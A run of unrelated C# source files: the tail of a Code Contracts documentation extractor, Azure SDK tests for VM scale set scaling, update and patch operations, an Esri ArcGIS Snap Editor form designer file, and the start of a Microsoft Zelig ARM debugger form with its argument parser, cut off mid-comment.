char this[int column] { get { Contract.Requires(column >= 0); Contract.Requires(column < Length); int skipped = 0; int i = startLine; column += this.startColumn; // adjust while (i <= endLine) { string s = doc[i]; if (s == null) { throw new InvalidOperationException(); } // cannot happen if count was properly computed in constructor if (column < skipped + s.Length) return s[column - skipped]; skipped += s.Length; i++; } throw new InvalidOperationException(); } } [ContractVerification(true)] internal string Substring(int startIndex, int length) { Contract.Requires(startIndex >= 0); Contract.Requires(length >= 0); Contract.Requires(startIndex + length <= Length); int skipped = 0; int i = startLine; StringBuilder sb = null; // lazily create startIndex += this.startColumn; // skip to column while (i <= endLine) { string s = doc[i]; if (s == null) { throw new InvalidOperationException(); } // cannot happen if count was properly computed in constructor if (startIndex < skipped + s.Length) { int lengthInS = s.Length - (startIndex - skipped); if (length <= lengthInS) { if (sb == null) { return TrimmedSubstring(s, startIndex - skipped, length); } sb.Append(' '); sb.Append(TrimmedSubstring(s, startIndex - skipped, length)); return sb.ToString(); } // more than 1 string long if (sb == null) { sb = new StringBuilder(length); } else { sb.Append(' '); } sb.Append(TrimmedSubstring(s, startIndex - skipped, s.Length - (startIndex - skipped))); length -= lengthInS; startIndex += lengthInS; } skipped += s.Length; i++; } throw new InvalidOperationException(); } [ContractVerification(true)] private static string TrimmedSubstring(string s, int startIndex, int length) { Contract.Requires(s != null); Contract.Requires(startIndex >= 0); Contract.Requires(length >= 0); Contract.Requires(startIndex + length <= s.Length); var index = startIndex; var remaining = length; while (remaining > 0 && char.IsWhiteSpace(s[index])) { Contract.Assert(index + remaining <= s.Length); index++; remaining--; } while (remaining > 0 && char.IsWhiteSpace(s[index + remaining - 1])) { remaining--; } return s.Substring(index, remaining); } } private class SourceDocument { private TextReader tr; private List<string> lines; public SourceDocument(string fileName) { if (!File.Exists(fileName)) { return; // dummy } try { tr = File.OpenText(fileName); } catch { } } public string this[int line] { get { // lines are indexed starting by 1, so dec if (line < 1) throw new IndexOutOfRangeException(); Contract.EndContractBlock(); line--; EnsureRead(line); if (lines != null && lines.Count > line) { return lines[line]; } return null; } } private void EnsureRead(int line) { if (tr == null) return; if (lines == null) lines = new List<string>(); try { while (lines.Count <= line) { var linestring = tr.ReadLine(); if (linestring == null) { tr = null; break; } lines.Add(linestring); } } catch { tr = null; } } } [Pure] private SourceDocument GetDocument(Document doc) { if (doc == null) return null; string sourceName = doc.Name; if (sourceName == null) return null; SourceDocument result; if (!sourceTexts.TryGetValue(sourceName, out result)) { result = new SourceDocument(sourceName); sourceTexts.Add(sourceName, result); } return result; } private Dictionary<string, SourceDocument> sourceTexts = new Dictionary<string, SourceDocument>(); private string GetSource(string prefix, SourceContext sctx) { bool dummy; return GetSource(prefix, sctx, out dummy); } /// <summary> /// Opens the source file specified in the provided source context and retrieves /// the source text corresponding to the argument to the method call. /// </summary> /// <param name="prefix">Either "Contract.Requires", "Contract.Ensures", etc.</param> /// <param name="sctx">A valid source context, i.e., one with a document and start /// line and end line fields.</param> /// <returns></returns> [ContractVerification(true)] private string /*?*/ GetSource(string prefix, SourceContext sctx, out bool isVB, bool islegacy = false) { isVB = false; if (!sctx.IsValid) return null; if (sctx.StartLine <= 0) return null; SourceDocument doc = GetDocument(sctx.Document); if (doc == null) return null; DocSlice slice = new DocSlice(doc, sctx.StartLine, (islegacy) ? 0 : sctx.StartColumn, sctx.EndLine); var parsedText = Parse(prefix, slice, out isVB); return parsedText; } public override void VisitTypeNode(TypeNode typeNode) { if (typeNode == null) return; if (writeOutput) { Indent(); Console.WriteLine(typeNode.FullName); this.tabStops++; } base.VisitTypeNode(typeNode); if (writeOutput) { this.tabStops--; } } public override void VisitInvariant(Invariant invariant) { SourceContext sctx = invariant.SourceContext; string source = GetSource("Contract.Invariant", sctx); if (source == null) { if (writeOutput) Console.WriteLine("<error generating documentation>"); } else { invariant.SourceConditionText = new Literal(source, SystemTypes.String); if (writeOutput) { Indent(); Console.WriteLine("{0}", source); } } } [ContractVerification(true)] public override void VisitMethod(Method method) { if (method == null) return; if (this.contracts != null && contracts.IsObjectInvariantMethod(method)) return; if (writeOutput) { Indent(); Console.WriteLine(method.FullName); this.tabStops++; } base.VisitMethod(method); // inspector is not visiting validation list, so visit it here if (method.Contract != null) { this.VisitRequiresList(method.Contract.Validations); } if (writeOutput) { this.tabStops--; } } private void ExtractSourceTextFromLegacyRequires(Requires otherwise) { bool isVB; string source = GetSource("if", ContextForTextExtraction(otherwise), out isVB, true); if (source == null) { if (writeOutput) Console.WriteLine("<error generating documentation>"); } else { if (isVB) { // negation not implemented, just return this with Not otherwise.SourceConditionText = new Literal(string.Format("Not({0})", source), SystemTypes.String); } else { string negatedCondition = NegatePredicate(source); if (negatedCondition != null) { otherwise.SourceConditionText = new Literal(negatedCondition, SystemTypes.String); } else { otherwise.SourceConditionText = new Literal(source, SystemTypes.String); } if (writeOutput) { Indent(); if (negatedCondition != null) { Console.WriteLine("{0}", negatedCondition); } else { Console.WriteLine("<error generating documentation>"); } } } } } public override void VisitRequiresPlain(RequiresPlain plain) { // Since we can copy contracts around now, we may already have the source text if it comes from a contract reference assembly if (plain.SourceConditionText != null) return; if (plain.IsFromValidation) { ExtractSourceTextFromLegacyRequires(plain); } else { ExtractSourceTextFromRegularRequires(plain); } } public override void VisitRequiresOtherwise(RequiresOtherwise otherwise) { if (otherwise.SourceConditionText != null) return; ExtractSourceTextFromLegacyRequires(otherwise); } private static SourceContext ContextForTextExtraction(MethodContractElement mce) { if (mce.DefSite.IsValid) return mce.DefSite; return mce.SourceContext; } private void ExtractSourceTextFromRegularRequires(RequiresPlain plain) { string source = GetSource("Contract.Requires", ContextForTextExtraction(plain)); if (source == null) { if (writeOutput) Console.WriteLine("<error generating documentation>"); } else { plain.SourceConditionText = new Literal(source, SystemTypes.String); if (writeOutput) { Indent(); Console.WriteLine("{0}", source); } } } public override void VisitEnsuresNormal(EnsuresNormal normal) { // Since we can copy contracts around now, we may already have the source text if it comes from a contract reference assembly if (normal.SourceConditionText != null) return; string source = GetSource("Contract.Ensures", ContextForTextExtraction(normal)); if (source == null) { if (writeOutput) Console.WriteLine("<error generating documentation>"); } else { normal.SourceConditionText = new Literal(source, SystemTypes.String); if (writeOutput) { Indent(); Console.WriteLine("{0}", source); } } } public override void VisitEnsuresExceptional(EnsuresExceptional exceptional) { // Since we can copy contracts around now, we may already have the source text if it comes from a contract reference assembly if (exceptional.SourceConditionText != null) return; string source = GetSource("Contract.Ensures", ContextForTextExtraction(exceptional)); if (source == null) { if (writeOutput) Console.WriteLine("<error generating documentation>"); } else { exceptional.SourceConditionText = new Literal(source, SystemTypes.String); if (writeOutput) { Indent(); Console.WriteLine("{0}", source); } } } public override void VisitStatementList(StatementList statements) { if (statements == null) return; for (int i = 0; i < statements.Count; i++) { var st = statements[i]; ExpressionStatement est = st as ExpressionStatement; if (est != null) { statements[i] = TransformExpressionStatement(est); } this.Visit(st); } } private Statement TransformExpressionStatement(ExpressionStatement statement) { Method m = HelperMethods.IsMethodCall(statement); if (m == null) goto done; if (m != contracts.AssertMethod && m != contracts.AssumeMethod && m != contracts.AssertWithMsgMethod && m != contracts.AssumeWithMsgMethod) { goto done; } SourceContext sctx = statement.SourceContext; string source = GetSource("Contract.Assert", sctx); if (source == null) { if (writeOutput) Console.WriteLine("<error generating documentation>"); } else { return new ContractAssumeAssertStatement(statement.Expression, sctx, source); } done: this.VisitExpressionStatement(statement); return statement; } public void VisitForDoc(AssemblyNode assemblyNode) { this.VisitAssembly(assemblyNode); } } }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for license information. using Microsoft.Azure.Management.Compute; using Microsoft.Azure.Management.Compute.Models; using Microsoft.Azure.Management.Network; using Microsoft.Azure.Management.ResourceManager; using Microsoft.Azure.Management.Storage; using Microsoft.Rest.ClientRuntime.Azure.TestFramework; using System.Collections.Generic; using Xunit; namespace Compute.Tests { public class VMScaleSetUpdateTests : VMScaleSetTestsBase { /// <summary> /// Covers following Operations: /// Create RG /// Create Storage Account /// Create Network Resources /// Create VMScaleSet /// ScaleOut VMScaleSet /// ScaleIn VMScaleSet /// Delete VMScaleSet /// Delete RG /// </summary> [Fact] public void TestVMScaleSetScalingOperations() { using (MockContext context = MockContext.Start(this.GetType())) { EnsureClientsInitialized(context); ImageReference imageRef = GetPlatformVMImage(useWindowsImage: true); // Create resource group var rgName = TestUtilities.GenerateName(TestPrefix); var vmssName = TestUtilities.GenerateName("vmss"); string storageAccountName = TestUtilities.GenerateName(TestPrefix); VirtualMachineScaleSet inputVMScaleSet; try { var storageAccountOutput = CreateStorageAccount(rgName, storageAccountName); m_CrpClient.VirtualMachineScaleSets.Delete(rgName, "VMScaleSetDoesNotExist"); var vmScaleSet = CreateVMScaleSet_NoAsyncTracking(rgName, vmssName, storageAccountOutput, imageRef, out inputVMScaleSet); var getResponse = m_CrpClient.VirtualMachineScaleSets.Get(rgName, vmScaleSet.Name); ValidateVMScaleSet(inputVMScaleSet, getResponse); // Scale Out VMScaleSet inputVMScaleSet.Sku.Capacity = 3; UpdateVMScaleSet(rgName, vmssName, inputVMScaleSet); getResponse = m_CrpClient.VirtualMachineScaleSets.Get(rgName, vmScaleSet.Name); ValidateVMScaleSet(inputVMScaleSet, getResponse); // Scale In VMScaleSet inputVMScaleSet.Sku.Capacity = 1; UpdateVMScaleSet(rgName, vmssName, inputVMScaleSet); getResponse = m_CrpClient.VirtualMachineScaleSets.Get(rgName, vmScaleSet.Name); ValidateVMScaleSet(inputVMScaleSet, getResponse); m_CrpClient.VirtualMachineScaleSets.Delete(rgName, vmScaleSet.Name); } finally { //Cleanup the created resources. But don't wait since it takes too long, and it's not the purpose //of the test to cover deletion. CSM does persistent retrying over all RG resources. m_ResourcesClient.ResourceGroups.Delete(rgName); } } } /// <summary> /// Covers following Operations: /// Create RG /// Create Storage Account /// Create Network Resources /// Create VMScaleSet /// Update VMScaleSet /// Delete VMScaleSet /// Delete RG /// </summary> [Fact] public void TestVMScaleSetUpdateOperations() { using (MockContext context = MockContext.Start(this.GetType())) { EnsureClientsInitialized(context); ImageReference imageRef = GetPlatformVMImage(useWindowsImage: true); // Create resource group var rgName = TestUtilities.GenerateName(TestPrefix); var vmssName = TestUtilities.GenerateName("vmss"); string storageAccountName = TestUtilities.GenerateName(TestPrefix); VirtualMachineScaleSet inputVMScaleSet; try { var storageAccountOutput = CreateStorageAccount(rgName, storageAccountName); m_CrpClient.VirtualMachineScaleSets.Delete(rgName, "VMScaleSetDoesNotExist"); var vmScaleSet = CreateVMScaleSet_NoAsyncTracking(rgName, vmssName, storageAccountOutput, imageRef, out inputVMScaleSet); var getResponse = m_CrpClient.VirtualMachineScaleSets.Get(rgName, vmScaleSet.Name); ValidateVMScaleSet(inputVMScaleSet, getResponse); inputVMScaleSet.Sku.Name = VirtualMachineSizeTypes.StandardA1V2; VirtualMachineScaleSetExtensionProfile extensionProfile = new VirtualMachineScaleSetExtensionProfile() { Extensions = new List<VirtualMachineScaleSetExtension>() { GetTestVMSSVMExtension(autoUpdateMinorVersion:false), } }; inputVMScaleSet.VirtualMachineProfile.ExtensionProfile = extensionProfile; UpdateVMScaleSet(rgName, vmssName, inputVMScaleSet); getResponse = m_CrpClient.VirtualMachineScaleSets.Get(rgName, vmScaleSet.Name); ValidateVMScaleSet(inputVMScaleSet, getResponse); m_CrpClient.VirtualMachineScaleSets.Delete(rgName, vmScaleSet.Name); } finally { //Cleanup the created resources. But don't wait since it takes too long, and it's not the purpose //of the test to cover deletion. CSM does persistent retrying over all RG resources. m_ResourcesClient.ResourceGroups.Delete(rgName); } } } /// <summary> /// This is same as TestVMScaleSetUpdateOperations except that this test calls PATCH API instead of PUT /// Covers following Operations: /// Create RG /// Create Storage Account /// Create Network Resources /// Create VMScaleSet /// Update VMScaleSet /// Scale VMScaleSet /// Delete VMScaleSet /// Delete RG /// </summary> [Fact] public void TestVMScaleSetPatchOperations() { using (MockContext context = MockContext.Start(this.GetType())) { EnsureClientsInitialized(context); ImageReference imageRef = GetPlatformVMImage(useWindowsImage: true); // Create resource group var rgName = TestUtilities.GenerateName(TestPrefix); var vmssName = TestUtilities.GenerateName("vmss"); string storageAccountName = TestUtilities.GenerateName(TestPrefix); VirtualMachineScaleSet inputVMScaleSet; try { var storageAccountOutput = CreateStorageAccount(rgName, storageAccountName); m_CrpClient.VirtualMachineScaleSets.Delete(rgName, "VMScaleSetDoesNotExist"); var vmScaleSet = CreateVMScaleSet_NoAsyncTracking(rgName, vmssName, storageAccountOutput, imageRef, out inputVMScaleSet); var getResponse = m_CrpClient.VirtualMachineScaleSets.Get(rgName, vmScaleSet.Name); ValidateVMScaleSet(inputVMScaleSet, getResponse); // Adding an extension to the VMScaleSet. We will use Patch to update this. VirtualMachineScaleSetExtensionProfile extensionProfile = new VirtualMachineScaleSetExtensionProfile() { Extensions = new List<VirtualMachineScaleSetExtension>() { GetTestVMSSVMExtension(autoUpdateMinorVersion:false), } }; VirtualMachineScaleSetUpdate patchVMScaleSet = new VirtualMachineScaleSetUpdate() { VirtualMachineProfile = new VirtualMachineScaleSetUpdateVMProfile() { ExtensionProfile = extensionProfile, }, }; PatchVMScaleSet(rgName, vmssName, patchVMScaleSet); // Update the inputVMScaleSet and then compare it with response to verify the result. inputVMScaleSet.VirtualMachineProfile.ExtensionProfile = extensionProfile; getResponse = m_CrpClient.VirtualMachineScaleSets.Get(rgName, vmScaleSet.Name); ValidateVMScaleSet(inputVMScaleSet, getResponse); // Scaling the VMScaleSet now to 3 instances VirtualMachineScaleSetUpdate patchVMScaleSet2 = new VirtualMachineScaleSetUpdate() { Sku = new Sku() { Capacity = 3, }, }; PatchVMScaleSet(rgName, vmssName, patchVMScaleSet2); // Validate that ScaleSet Scaled to 3 instances inputVMScaleSet.Sku.Capacity = 3; getResponse = m_CrpClient.VirtualMachineScaleSets.Get(rgName, vmScaleSet.Name); ValidateVMScaleSet(inputVMScaleSet, getResponse); m_CrpClient.VirtualMachineScaleSets.Delete(rgName, vmScaleSet.Name); } finally { //Cleanup the created resources. But don't wait since it takes too long, and it's not the purpose //of the test to cover deletion. CSM does persistent retrying over all RG resources. m_ResourcesClient.ResourceGroups.Delete(rgName); } } } } }
/* Copyright 2019 Esri Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using ESRI.ArcGIS.SystemUI; namespace Core { partial class SnapEditor { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.clearAgents = new System.Windows.Forms.Button(); this.turnOffAgents = new System.Windows.Forms.Button(); this.addFeatureSnapAgent = new System.Windows.Forms.Button(); this.reverseAgentsPriority = new System.Windows.Forms.Button(); this.snapToleranceLabel = new System.Windows.Forms.Label(); this.snapTips = new System.Windows.Forms.CheckBox(); this.snapTolUnits = new System.Windows.Forms.ComboBox(); this.snapTolerance = new System.Windows.Forms.MaskedTextBox(); this.snapAgents = new System.Windows.Forms.DataGridView(); this.snapAgentNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.ftrSnapAgentColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.addSketchSnapAgent = new System.Windows.Forms.Button(); ((System.ComponentModel.ISupportInitialize)(this.snapAgents)).BeginInit(); this.SuspendLayout(); // // clearAgents // this.clearAgents.Location = new System.Drawing.Point(12, 233); this.clearAgents.Name = "clearAgents"; this.clearAgents.Size = new System.Drawing.Size(131, 23); this.clearAgents.TabIndex = 0; this.clearAgents.Text = "Clear Agents"; this.clearAgents.UseVisualStyleBackColor = true; this.clearAgents.Click += new System.EventHandler(this.clearAgents_Click); // // turnOffAgents // this.turnOffAgents.Location = new System.Drawing.Point(149, 233); this.turnOffAgents.Name = "turnOffAgents"; this.turnOffAgents.Size = new System.Drawing.Size(131, 23); this.turnOffAgents.TabIndex = 1; this.turnOffAgents.Text = "Turn Off Agents"; this.turnOffAgents.UseVisualStyleBackColor = true; this.turnOffAgents.Click += new System.EventHandler(this.turnOffAgents_Click); // // addFeatureSnapAgent // this.addFeatureSnapAgent.Location = new System.Drawing.Point(418, 147); this.addFeatureSnapAgent.Name = "addFeatureSnapAgent"; this.addFeatureSnapAgent.Size = new System.Drawing.Size(147, 23); this.addFeatureSnapAgent.TabIndex = 2; this.addFeatureSnapAgent.Text = "Add Feature Snap Agent"; this.addFeatureSnapAgent.UseVisualStyleBackColor = true; this.addFeatureSnapAgent.Click += new System.EventHandler(this.addFeatureSnapAgent_Click); // // reverseAgentsPriority // this.reverseAgentsPriority.Location = new System.Drawing.Point(286, 233); this.reverseAgentsPriority.Name = "reverseAgentsPriority"; this.reverseAgentsPriority.Size = new System.Drawing.Size(131, 23); this.reverseAgentsPriority.TabIndex = 3; this.reverseAgentsPriority.Text = "Reverse Agents\' Priority"; this.reverseAgentsPriority.UseVisualStyleBackColor = true; this.reverseAgentsPriority.Click += new System.EventHandler(this.reverseAgentsPriority_Click); // // snapToleranceLabel // this.snapToleranceLabel.AutoSize = true; this.snapToleranceLabel.Location = new System.Drawing.Point(12, 44); this.snapToleranceLabel.Name = "snapToleranceLabel"; this.snapToleranceLabel.Size = new System.Drawing.Size(83, 13); this.snapToleranceLabel.TabIndex = 7; this.snapToleranceLabel.Text = "Snap Tolerance"; // // snapTips // this.snapTips.AutoSize = true; this.snapTips.Location = new System.Drawing.Point(15, 16); this.snapTips.Name = "snapTips"; this.snapTips.Size = new System.Drawing.Size(74, 17); this.snapTips.TabIndex = 9; this.snapTips.Text = "Snap Tips"; this.snapTips.UseVisualStyleBackColor = true; this.snapTips.CheckedChanged += new System.EventHandler(this.snapTips_CheckedChanged); // // snapTolUnits // this.snapTolUnits.FormattingEnabled = true; this.snapTolUnits.Items.AddRange(new object[] { "Pixels", "Map Units"}); this.snapTolUnits.Location = new System.Drawing.Point(159, 41); this.snapTolUnits.Name = "snapTolUnits"; this.snapTolUnits.Size = new System.Drawing.Size(121, 21); this.snapTolUnits.TabIndex = 12; this.snapTolUnits.SelectedIndexChanged += new System.EventHandler(this.snapTolUnits_SelectedIndexChanged); // // snapTolerance // this.snapTolerance.AllowPromptAsInput = false; this.snapTolerance.AsciiOnly = true; this.snapTolerance.Location = new System.Drawing.Point(101, 41); this.snapTolerance.Mask = "00000"; this.snapTolerance.Name = "snapTolerance"; this.snapTolerance.Size = new System.Drawing.Size(52, 20); this.snapTolerance.TabIndex = 14; this.snapTolerance.ValidatingType = typeof(int); this.snapTolerance.TypeValidationCompleted += new System.Windows.Forms.TypeValidationEventHandler(this.snapTolerance_TypeValidationEventHandler); // // snapAgents // this.snapAgents.AllowUserToAddRows = false; this.snapAgents.AllowUserToDeleteRows = false; this.snapAgents.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.AllCellsExceptHeader; this.snapAgents.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.snapAgentNameColumn, this.Column1, this.ftrSnapAgentColumn}); this.snapAgents.Location = new System.Drawing.Point(17, 68); this.snapAgents.MultiSelect = false; this.snapAgents.Name = "snapAgents"; this.snapAgents.ReadOnly = true; this.snapAgents.Size = new System.Drawing.Size(400, 141); this.snapAgents.TabIndex = 15; // // snapAgentNameColumn // this.snapAgentNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; this.snapAgentNameColumn.HeaderText = "Snap Agent Name"; this.snapAgentNameColumn.MinimumWidth = 100; this.snapAgentNameColumn.Name = "snapAgentNameColumn"; this.snapAgentNameColumn.ReadOnly = true; this.snapAgentNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column1 // this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCellsExceptHeader; this.Column1.HeaderText = "Feature Class"; this.Column1.MinimumWidth = 85; this.Column1.Name = "Column1"; this.Column1.ReadOnly = true; this.Column1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; this.Column1.Width = 85; // // ftrSnapAgentColumn // this.ftrSnapAgentColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCellsExceptHeader; this.ftrSnapAgentColumn.HeaderText = "Feature Agent Hit Type"; this.ftrSnapAgentColumn.MinimumWidth = 145; this.ftrSnapAgentColumn.Name = "ftrSnapAgentColumn"; this.ftrSnapAgentColumn.ReadOnly = true; this.ftrSnapAgentColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; this.ftrSnapAgentColumn.Width = 145; // // addSketchSnapAgent // this.addSketchSnapAgent.Location = new System.Drawing.Point(418, 176); this.addSketchSnapAgent.Name = "addSketchSnapAgent"; this.addSketchSnapAgent.Size = new System.Drawing.Size(146, 23); this.addSketchSnapAgent.TabIndex = 17; this.addSketchSnapAgent.Text = "Add Sketch Snap Agent"; this.addSketchSnapAgent.UseVisualStyleBackColor = true; this.addSketchSnapAgent.Click += new System.EventHandler(this.addSketchSnapAgent_Click); // // SnapEditor // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(578, 269); this.Controls.Add(this.addSketchSnapAgent); this.Controls.Add(this.snapAgents); this.Controls.Add(this.snapTolerance); this.Controls.Add(this.snapTolUnits); this.Controls.Add(this.snapTips); this.Controls.Add(this.snapToleranceLabel); this.Controls.Add(this.reverseAgentsPriority); this.Controls.Add(this.addFeatureSnapAgent); this.Controls.Add(this.turnOffAgents); this.Controls.Add(this.clearAgents); this.Name = "SnapEditor"; this.Text = "Snap Editor"; ((System.ComponentModel.ISupportInitialize)(this.snapAgents)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.Button clearAgents; private System.Windows.Forms.Button turnOffAgents; private System.Windows.Forms.Button addFeatureSnapAgent; private System.Windows.Forms.Button reverseAgentsPriority; private System.Windows.Forms.Label snapToleranceLabel; private System.Windows.Forms.CheckBox snapTips; private System.Windows.Forms.ComboBox snapTolUnits; private System.Windows.Forms.MaskedTextBox snapTolerance; private System.Windows.Forms.DataGridView snapAgents; private System.Windows.Forms.Button addSketchSnapAgent; private System.Windows.Forms.DataGridViewTextBoxColumn snapAgentNameColumn; private System.Windows.Forms.DataGridViewTextBoxColumn Column1; private System.Windows.Forms.DataGridViewTextBoxColumn ftrSnapAgentColumn; } }
// // Copyright (c) Microsoft Corporation. All rights reserved. // namespace Microsoft.Zelig.Debugger.ArmProcessor { using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.IO; using System.Windows.Forms; using System.Threading; using IR = Microsoft.Zelig.CodeGeneration.IR; using RT = Microsoft.Zelig.Runtime; using TS = Microsoft.Zelig.Runtime.TypeSystem; using Cfg = Microsoft.Zelig.Configuration.Environment; using Hst = Microsoft.Zelig.Emulation.Hosting; public partial class DebuggerMainForm : Form, IMainForm { class ViewEntry { // // State // internal readonly Hst.Forms.BaseDebuggerForm Form; internal readonly Hst.Forms.HostingSite.PublicationMode Mode; internal readonly ToolStripMenuItem MenuItem; // // Constructor Methods // internal ViewEntry( Hst.Forms.BaseDebuggerForm form , Hst.Forms.HostingSite.PublicationMode mode ) { var item = new ToolStripMenuItem(); this.Mode = mode; this.Form = form; this.MenuItem = item; //--// var image = form.ViewImage; var title = form.ViewTitle; item.Text = (title != null) ? title : form.GetType().FullName; item.DisplayStyle = (image != null) ? ToolStripItemDisplayStyle.ImageAndText : ToolStripItemDisplayStyle.Text; item.Image = image; item.Tag = this; item.ImageAlign = ContentAlignment.MiddleLeft; item.TextAlign = ContentAlignment.MiddleRight; item.Click += new System.EventHandler( delegate( object sender, EventArgs e ) { if(this.MenuItem.Checked) { this.Form.Hide(); } else { this.Form.Show(); } } ); } // // Helper Methods // internal static ViewEntry Find( List< ViewEntry > lst , Hst.Forms.BaseDebuggerForm form , Hst.Forms.HostingSite.PublicationMode mode ) { foreach(var item in lst) { if(item.Form == form && item.Mode == mode) { return item; } } return null; } } class HostingSiteImpl : Hst.Forms.HostingSite { // // State // DebuggerMainForm m_owner; // // Constructor Methods // internal HostingSiteImpl( DebuggerMainForm owner ) { m_owner = owner; } // // Helper Methods // public override void ProcessKeyDownEvent( KeyEventArgs e ) { m_owner.ProcessKeyDownEvent( e ); } public override void ProcessKeyUpEvent( KeyEventArgs e ) { m_owner.ProcessKeyUpEvent( e ); } public override void ReportFormStatus( Hst.Forms.BaseDebuggerForm form , bool fOpened ) { m_owner.ReportFormStatus( form, fOpened ); } public override void RegisterView( Hst.Forms.BaseDebuggerForm form , Hst.Forms.HostingSite.PublicationMode mode ) { m_owner.RegisterView( form, mode ); } public override void UnregisterView( Hst.Forms.BaseDebuggerForm form , Hst.Forms.HostingSite.PublicationMode mode ) { m_owner.UnregisterView( form, mode ); } public override void VisualizeDebugInfo( Debugging.DebugInfo di ) { m_owner.VisualizeDebugInfo( di ); } public override object GetHostingService( Type t ) { return m_owner.Host.GetHostingService( t ); } public override void RegisterService( Type type , object impl ) { m_owner.Host.RegisterService( type, impl ); } public override void UnregisterService( object impl ) { m_owner.Host.UnregisterService( impl ); } // // Access Methods // public override bool IsIdle { get { return m_owner.IsIdle; } } } class ApplicationArguments { // // State // internal string[] m_arguments; internal string m_sessionName; internal string m_sessionFile; internal string m_imageFile; internal List< string > m_breakpoints = new List< string >(); internal List< System.Reflection.Assembly > m_asssemblies = new List< System.Reflection.Assembly >(); internal List< Type > m_handlers = new List< Type >(); // // Constructor Methods // internal ApplicationArguments( string[] args ) { m_arguments = args; } // // Helper Methods // internal bool Parse() { return Parse( m_arguments ); } private bool Parse( string line ) { List< string > args = new List< string >(); for(int pos = 0; pos < line.Length; ) { char c = line[pos++]; switch(c) { case ' ': case '\t': break; case '\'': case '"': { StringBuilder sb = new StringBuilder(); int pos2 = pos; bool fAdd = false; while(pos2 < line.Length) { char c2 = line[pos2++]; if(fAdd == false) { if(c2 == c) { break; } if(c2 == '\\') { fAdd = true; continue; } } sb.Append( c2 ); fAdd = false; } pos = pos2; args.Add( sb.ToString() ); } break; default: { StringBuilder sb = new StringBuilder(); int pos2 = pos; sb.Append( c ); while(pos2 < line.Length) { char c2 = line[pos2++]; if(c2 == ' ' || c2 == '\t' ) { break; } sb.Append( c2 ); } pos = pos2; args.Add( sb.ToString() ); } break; } } if(args.Count == 0) { return true; } return Parse( args.ToArray() ); } private bool Parse( string[] args ) { if(args != null) { for(int i = 0; i < args.Length; i++) { string arg = args[i]; if(arg == string.Empty) { continue; } if(arg.StartsWith( "/" ) || arg.StartsWith( "-" ) ) { string option = arg.Substring( 1 ); if(IsMatch( option, "Cfg" )) { string file; if(!GetArgument( arg, args, true, ref i, out file )) { return false; } using(System.IO.StreamReader stream = new System.IO.StreamReader( file )) { string line; while((line = stream.ReadLine()) != null) { if(line.StartsWith( "#" )) { continue; } if(Parse( line ) == false) { return false; } } } } else if(IsMatch( option, "Session" )) { if(!GetArgument( arg, args, false, ref i, out m_sessionName )) { return false; } } else if(IsMatch( option, "SessionFile" )) { if(!GetArgument( arg, args, true, ref i, out m_sessionFile )) { return false; } } else if(IsMatch( option, "ImageFile" )) { if(!GetArgument( arg, args, true, ref i, out m_imageFile )) { return false; } } else if(IsMatch( option, "Breakpoint" )) { string str; if(!GetArgument( arg, args, false, ref i, out str )) { return false; } m_breakpoints.Add( str ); } else if(IsMatch( option, "LoadAssembly" )) { string file; if(!GetArgument( arg, args, true, ref i, out file )) { return false; } try { m_asssemblies.Add( System.Reflection.Assembly.LoadFrom( file ) ); // // The plug-ins will come from a different directory structure. // But the loader won't resolve assembly names to assemblies outside the application directory structure, // even if the assemblies are already loaded in the current AppDomain. // // Let's register with the AppDomain, so we can check if an assembly has already been loaded, and // just override the loader policy. // if(m_asssemblies.Count == 1) { AppDomain.CurrentDomain.AssemblyResolve += delegate( object sender, ResolveEventArgs args2 ) { foreach(System.Reflection.Assembly asm in AppDomain.CurrentDomain.GetAssemblies()) { if(asm.FullName == args2.Name) { return asm; } } return null; }; } } catch(Exception ex) { MessageBox.Show( string.Format( "Exception caught while loading assembly from file {0}:\r\n{1}", file, ex ), "Type Load Error", MessageBoxButtons.OK ); return false; } } else if(IsMatch( option, "AddHandler" )) { string cls; if(!GetArgument( arg, args, false, ref i, out cls )) { return false; } Type t = Type.GetType( cls ); if(t == null) { foreach(System.Reflection.Assembly asm in AppDomain.CurrentDomain.GetAssemblies()) { t = asm.GetType( cls ); if(t != null) { break; } } } if(t == null) { MessageBox.Show( string.Format( "Cannot find type for handler '{0}'", cls ), "Type Load Error", MessageBoxButtons.OK ); return false; } m_handlers.Add( t ); } //// else if(IsMatch( option, "DumpIR" )) //// { //// m_fDumpIR = true; //// } //// else if(IsMatch( option, "DumpASM" )) //// { //// m_fDumpASM = true; //// } //// else if(IsMatch( option, "DumpHEX" )) //// { //// m_fDumpHEX = true; //// } else { MessageBox.Show( string.Format( "Unrecognized option: {0}", option ) ); return false; } } //// else //// { //// arg = Expand( arg ); //// if(File.Exists( arg ) == false) //// { //// Console.WriteLine( "Cannot 